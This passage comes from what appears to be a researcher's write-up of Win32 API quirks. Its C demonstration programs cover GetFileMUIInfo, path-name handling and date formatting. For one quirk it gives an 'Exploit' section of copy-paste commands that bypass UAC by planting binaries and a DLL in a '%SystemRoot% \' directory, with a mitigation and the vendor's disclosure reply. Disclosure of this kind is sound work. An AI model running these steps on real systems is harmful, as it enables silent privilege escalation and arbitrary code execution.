    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    const	WCHAR	szModule[] = L"C:\\Windows\\RegEdit.exe";
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	PFILEMUIINFO	lpFileMUIInfo = NULL;
    	DWORD		dwFileMUIInfo = 0;
    	DWORD		dwError;
    	HANDLE		hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    		                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    		else
    		{
    			PrintConsole(hConsole,
    			             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    			             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    			dwFileMUIInfo += sizeof(FILEMUIINFO);
    
    			while (dwError == ERROR_INSUFFICIENT_BUFFER)
    			{
    				lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
    
    				if (lpFileMUIInfo == NULL)
    					PrintConsole(hConsole,
    					             L"LocalAlloc() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					lpFileMUIInfo->dwSize = dwFileMUIInfo;
    					lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
    
    					if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
    					                   szModule, lpFileMUIInfo, &dwFileMUIInfo))
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    					else
    						PrintConsole(hConsole,
    						             L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
    						             dwError = GetLastError(), dwFileMUIInfo, szModule);
    
    					if (LocalFree(lpFileMUIInfo) != NULL)
    						PrintConsole(hConsole,
    						             L"LocalFree() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk12.exe from the source file quirk12.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk12.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk12.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk12.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk12.exe
    quirk12.obj
  3. Execute the console application quirk12.exe built in step 2. to demonstrate the (mis)behaviour of the Win32 function GetFileMUIInfo():

    .\quirk12.exe
    GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
    GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 13

The Win32 functions FindFirstFile(), FindFirstFileEx(), GetFullPathName(), GetLongPathName() and GetShortPathName() are documented in the MSDN as follows:
HANDLE FindFirstFile(
  LPCTSTR           lpFileName,
  LPWIN32_FIND_DATA lpFindFileData
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.

HANDLE FindFirstFileEx(
  LPCTSTR            lpFileName,
  FINDEX_INFO_LEVELS fInfoLevelId,
  LPVOID             lpFindFileData,
  FINDEX_SEARCH_OPS  fSearchOp,
  LPVOID             lpSearchFilter,
  DWORD              dwAdditionalFlags
);
[…]

If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.

If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.

DWORD GetFullPathName(
  LPCTSTR lpFileName,
  DWORD   nBufferLength,
  LPTSTR  lpBuffer,
  LPTSTR  *lpFilePart
);
[…]

This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.

[…]

If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
DWORD GetLongPathName(
  LPCTSTR lpszShortPath,
  LPTSTR  lpszLongPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.

If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.

If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.

[…]

If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.

If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
DWORD GetShortPathName(
  LPCTSTR lpszLongPath,
  LPTSTR  lpszShortPath,
  DWORD   cchBuffer
);
[…]

If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.

If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.

If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.

[…]

If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]

Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
[…]

If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.

Demonstration

Perform the following 3 simple steps to show the inconsistent (mis)behaviour.
  1. Create the text file quirk13.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_DATA	wfd;
    
    	WCHAR	szBuffer[MAX_PATH];
    	DWORD	dwBuffer;
    	DWORD	dwError;
    	BOOL	bFind = FALSE;
    	HANDLE	hFind;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    			while (bFind = FindNextFile(hFind, &wfd));
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
    		dwBuffer = GetFullPathName(L"Quirk13 \\*", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		hFind = FindFirstFile(L"..\\NUL:", &wfd);
    #else
    		hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
    #endif
    		if (hFind == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"FindFirstFile() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			do
    				PrintConsole(hConsole,
    				             L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
    				             bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
    			while (bFind = FindNextFile(hFind, &wfd));
    
    			dwError = GetLastError();
    
    			if (dwError == ERROR_NO_MORE_FILES)
    				dwError = ERROR_SUCCESS;
    			else
    				PrintConsole(hConsole,
    				             L"FindNextFile() returned error %lu\n",
    				             dwError);
    
    			if (!FindClose(hFind))
    				PrintConsole(hConsole,
    				             L"FindClose() returned error %lu\n",
    				             dwError = GetLastError());
    		}
    #ifdef DEVICE
    		dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #else
    		dwBuffer = GetFullPathName(L"Quirk13 \\.", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetLongPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetLongPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetLongPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    #ifdef DEVICE
    		dwBuffer = GetShortPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #else
    		dwBuffer = GetShortPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
    #endif
    		if (dwBuffer == 0)
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			PrintConsole(hConsole,
    			             L"GetShortPathName() returned pathname \'%ls\' of %lu characters\n",
    			             szBuffer, dwBuffer);
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk13.exe from the source file quirk13.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk13.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk13.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk13.c
    quirk13.c(63) : warning C4706: assignment within conditional expression
    quirk13.c(107) : warning C4706: assignment within conditional expression
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk13.exe
    quirk13.obj
  3. Execute the console application quirk13.exe built in step 2. to demonstrate the inconsistent (mis)behaviour:

    .\quirk13.exe
    MKDIR "Quirk13 \"
    .\quirk13.exe
    RMDIR "Quirk13 \"
    MKDIR Quirk13
    .\quirk13.exe
    RMDIR Quirk13
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010
    FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned error 2
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned error 2
    GetShortPathName() returned error 2
    FindFirstFile() returned error 3
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters
    FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010
    GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters
    GetLongPathName() returned pathname 'Quirk13\.' of 9 characters
    GetShortPathName() returned pathname 'Quirk13 \.' of 10 characters
    OUCH¹: the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() misinterpret the directory name …\Quirk13 \. as …\Quirk13!

    OUCH²: contrary to its documentation cited above, the Win32 function FindFirstFile() does not return INVALID_HANDLE_VALUE with Win32 error code 2 alias ERROR_FILE_NOT_FOUND set if the (empty) directory …\Quirk13 \ exists!

    OUCH³: contrary to their documentation cited above, the Win32 functions GetLongPathName() and GetShortPathName() do not return zero with Win32 error code 3 alias ERROR_PATH_NOT_FOUND set if the directory …\Quirk13\ exists!

    OUCH⁴: the Win32 function GetShortPathName() returns the not existing (relative) pathname Quirk13 \. if the directory …\Quirk13\ exists!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Note: the evaluation of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing dots followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.

Note: the evaluation of the (mis)behaviour with the Win32 functions FindFirstFileEx(), FindFirstFileTransacted(), GetFullPathNameTransacted() and GetLongPathNameTransacted() is left as an exercise to the reader.

Security Impact

The Win32 functions GetFullPathName() and GetLongPathName() are used (direct and indirect) by the security theatre UAC to verify two of the three preconditions required for auto-elevation of applications: They are also used by SAFER alias Software Restriction Policies to evaluate path rules.

Exploit

Log on to the user account created during Windows Setup and start the Command Processor unelevated, then perform the following 11 steps to exploit the bugs demonstrated above and show a UAC bypass including arbitrary code execution with administrative privileges and access rights.

Note: the command lines can be copied and pasted as blocks into a Command Processor window!

Steps 1. to 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the bugs, and step 11. cleans up.

  1. Execute KTMUtil.exe to verify that the Command Processor runs without administrative privileges and access rights.

    CHDIR /D "%SystemRoot%"
    System32\KTMUtil.exe
    The KTMUTIL utility requires that you have administrative privileges.
  2. [Screen shot of 'User Accounts' dialog] Load and execute NetPlWiz.dll to display the User Accounts dialog box:

    START /WAIT System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
    Note: the TechNet article PassportWizardRunDll documents another (now removed) function of NetPlWiz.dll that is was supposed to be called this way too.
  3. [Screen shot of 'Printer Settings' dialog] Load and execute PrintUI.dll to display a dialog box with the usage instructions of its PrintUIEntry() function, as documented in the TechNet article Rundll32 printui.dll,PrintUIEntry:

    START /WAIT System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?

  4. [Screen shot of error message for error 1114 alias ERROR_DLL_INIT_FAILED] Load and execute ShUnimpl.dll to let RunDLL32.exe display an error message box:

    START /WAIT System32\RunDLL32.exe System32\ShUnimpl.dll,#0
    Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ shell from prior versions of Windows NT; to inhibit their use, its _DllMainCRTStartup() entry point function intentionally returns FALSE and lets the Win32 function LoadLibrary() fail with Win32 error code 1114 alias ERROR_DLL_INIT_FAILED.
  5. Execute MMC.exe to trigger a (blue) UAC prompt that shows Verified Publisher: Microsoft Windows:

    START /WAIT System32\MMC.exe
    Note: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
  6. Execute the auto-elevating PrintUI.exe to load PrintUI.dll and display its Printer Settings dialog box without triggering a UAC prompt:

    START /WAIT System32\NetPlWiz.exe
  7. Execute the auto-elevating NetPlWiz.exe to load NetPlWiz.dll and display its User Accounts dialog box without triggering a UAC prompt:

    START /WAIT System32\PrintUI.exe
  8. Copy MMC.exe, NetPlWiz.exe and PrintUI.exe into an (arbitrary) subdirectory of the systems’ TEMP directory %SystemRoot%\Temp\, then execute these copies to trigger a (now yellow) UAC prompt that shows Publisher: Unknown:

    MKDIR Temp\Example
    COPY System32\MMC.exe Temp\Example\MMC.exe
    START /WAIT Temp\Example\MMC.exe
    COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe
    START /WAIT Temp\Example\NetPlWiz.exe
    COPY System32\PrintUI.exe Temp\Example\PrintUI.exe
    START /WAIT Temp\Example\PrintUI.exe
    RMDIR /Q /S Temp\Example
    Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate catalog files %SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat, %SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat and %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat; an index of the signatures’ hashes is maintained in the catalog database files %SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb, %SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb and %SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.

    (Not only) UAC validates these detached digital signatures independent of the actual filename, and with some exceptions, for example in an untrusted directory like %SystemRoot%\Temp\, also independent of the actual pathname.

  9. Create the directory Windows \ in the root directory of the system drive, copy MMC.exe, NetPlWiz.exe and PrintUI.exe into it, execute the copy of MMC.exe to trigger a (blue) UAC prompt that shows Publisher: Unknown, then execute NetPlWiz.exe and PrintUI.exe to load NetPlWiz.dll and PrintUI.dll which display their dialog boxes without triggering a UAC prompt:

    MKDIR "%SystemRoot% \"
    COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
    START "Oops!" /WAIT "%SystemRoot% \MMC.exe"
    COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
    START "Ouch!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
    START "Ouch!" /WAIT "%SystemRoot% \PrintUI.exe"
    Ouch: due to the bugs in the Win32 functions FindFirstFile(), GetFullPathName(), GetLongPathName() and GetShortPathName() demonstrated above, UAC misidentifies %SystemRoot% \ as trusted directory and performs auto-elevation!

    Note: UAC exhibits this vulnerability (at least) in the directories
    %SystemRoot% \,
    %SystemRoot% .\,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \,
    %SystemRoot% . \, %SystemRoot%. \.

  10. [Screen shot of error message for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND] Copy ShUnimpl.dll as NetPlWiz.dll and PrintUI.dll into the directory Windows \, then execute the copies of the auto-elevating NetPlWiz.exe and PrintUI.exe again:

    COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
    START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
    System32\CertUtil.exe /ERROR %ERRORLEVEL%
    COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
    START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
    ECHO %ERRORLEVEL%
    System32\Net.exe HELPMSG %ERRORLEVEL%
            1 file(s) copied.
    0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
    Error message text: {Entry Point Not Found}
    The procedure entry point %hs could not be located in the dynamic link library %hs.
    CertUtil: -error command completed successfully.
            1 file(s) copied.
    1114
    
    A dynamic link library (DLL) initialization routine failed.
    OUCH: (like almost all applications shipped with Windows) NetPlWiz.exe and PrintUI.exe are vulnerable to CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, and susceptible to CAPEC-471: Search Order Hijacking; they load and execute (at least) an arbitrary (unsigned) NetPlWiz.dll respectively PrintUI.dll from their (untrusted and user-writable) application directory %SystemRoot% \ instead from Windows’ system directory %SystemRoot%\System32\, allowing arbitrary code execution with administrative privileges and access rights!

    Note: if Microsoft’s developers were not so careless, clueless and sloppy, their quality miserability assurance not sound asleep, and their managers not completely incompetent and ignorant, they would have read for example the MSRC blog post Load Library Safely, the MSKB articles 2389418 and 2533623, the Security Advisory 2269637, the MSDN articles Dynamic-Link Library Security and Dynamic-Link Library Search Order, then exercised defense in depth and fixed their crap long ago to inhibit such attacks!

    Note: NetPlWiz.dll is a static (load-time) dependency of NetPlWiz.exe, and PrintUI.dll is a run-time dependency of PrintUI.exe.

    Note: building a DLL that loads and executes arbitrary code is left as an exercise to the reader.

  11. Clean up:

    RMDIR /Q /S "%SystemRoot% \"
    EXIT

Mitigation

Remove the permission for unprivileged users (really: members of the NT AUTHORITY\Authenticated Users or BUILTIN\Users groups) to create subdirectories in the root directory of the system drive:
ICACLs.exe %SystemDrive%\ /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11

MSRC Case 64465

Due to their security impact I reported these bugs to the MSRC, where case number 64465 was assigned.

They replied with the following statements:

Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.

[…]

Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.

I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.

Ouch¹: the exploit works without administrator privileges!

Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!

Ouch³: even if Jane and Joe Average create and use a secondary (unprivileged) standard user account they might very likely be fooled by the blue UAC prompt that shows Verified Publisher: Microsoft Windows.

Note: UAC (and SAFER alias Software Restriction Policies too) is the victim here; the vulnerability results from bugs in the Win32 functions GetFullPathName(), GetLongPathName() and GetShortPathName() together with insecure loading of DLLs!

Quirk № 14

The Win32 functions GetDateFormat(), GetTimeFormat(), GetDateFormatEx() and GetTimeFormatEx() are documented in the MSDN as follows:
int GetDateFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

The function returns 0 if it does not succeed. […]

int GetTimeFormat(
  LCID             Locale,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

int GetDateFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpDate,
  LPCTSTR          lpFormat,
  LPTSTR           lpDateStr,
  int              cchDate,
  LPCTSTR          lpCalendar
);
[…]

Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.

This function returns 0 if it does not succeed. […]

int GetTimeFormatEx(
  LPCTSTR          lpLocaleName,
  DWORD            dwFlags,
  const SYSTEMTIME *lpTime,
  LPCTSTR          lpFormat,
  LPTSTR           lpTimeStr,
  int              cchTime
);
[…]

Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.

This function returns 0 if it does not succeed. […]

Win32 functions which write a character string to a buffer typically return the number of characters except the terminating NUL character, even if not stated explicitly.
The four functions named above but return the number of characters including the terminating NUL character, without explicitly stating their unusual behaviour.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk14.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    
    	va_list	vaInserts;
    	va_start(vaInserts, lpFormat);
    
    	dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
    
    	va_end(vaInserts);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	SYSTEMTIME	st;
    
    	INT	nDate, nTime, nSize;
    	LPWSTR	lpDate, lpTime;
    	WCHAR	szDate[] = L"MM/dd/yyyy";
    	WCHAR	szTime[] = L"HH:mm:ss";
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		GetSystemTime(&st);
    
    		nDate = GetDateFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szDate,
    		                      szDate,
    		                      sizeof(szDate) / sizeof(*szDate));
    
    		if (nDate == 0)
    			PrintConsole(hConsole,
    			             L"GetDateFormat() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			nSize = wcslen(szDate);
    
    			if (nSize != nDate)
    				PrintConsole(hConsole,
    				             L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
    				             szDate, nDate, nSize);
    		}
    
    		nTime = GetTimeFormat(LOCALE_INVARIANT,
    		                      0,
    		                      &st,
    		                      szTime,
    		                      szTime,
    		                      sizeof(szTime) / sizeof(*szTime));
    
    		if (nTime == 0)
